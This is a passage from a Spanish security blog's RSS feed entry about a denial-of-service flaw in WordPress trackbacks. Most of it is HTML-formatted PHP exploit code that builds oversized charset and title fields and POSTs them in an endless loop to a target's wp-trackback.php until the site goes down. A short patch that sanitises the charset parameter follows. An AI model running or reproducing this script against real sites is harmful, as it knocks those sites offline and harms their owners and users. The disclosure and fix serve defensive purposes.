<div class="de1">&nbsp; &nbsp; <span class="re0">$data</span> = <a href="http://www.php.net/parse_url"><span class="kw3">parse_url</span></a><span class="br0">&#40;</span><span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> &lt; <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> “The url should have http:<span class="co1">// in front of it, and should be complete.\n”;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span> == <span class="nu0">2</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$path</span> = ”;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;path&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$path</span> = <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$path</span>,’/<span class="st0">&#8216;);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$path .= ‘/wp-trackback.php’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($path{0} != ‘/’) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$path = ‘/’.$path;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$b = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = str_pad($b,140000,’ABCEDFG’);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$b = utf8_encode($b);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = “”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$charset = str_pad($charset,140000,”UTF-8,”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str = ‘charset=’.urlencode($charset);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;url=www.example.com’;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;title=’.$b;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;blog_name=lol’;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;$str .= ‘&amp;excerpt=lol’;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count = 0;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;while(1) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$fp = @fsockopen($data['</span>host<span class="st0">'],80);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;if(!$fp) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;if($count &gt; 0) {</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “down!!!!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;echo “unable to connect to: “.$data['</span>host<span class="st0">'].”<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;exit;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Host: “.$data['</span>host<span class="st0">'].”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Content-length: “.strlen($str).”<span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/"  data-text="Denial-of-Service (DoS) rápido y de una forma muy sencilla en WordPress" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

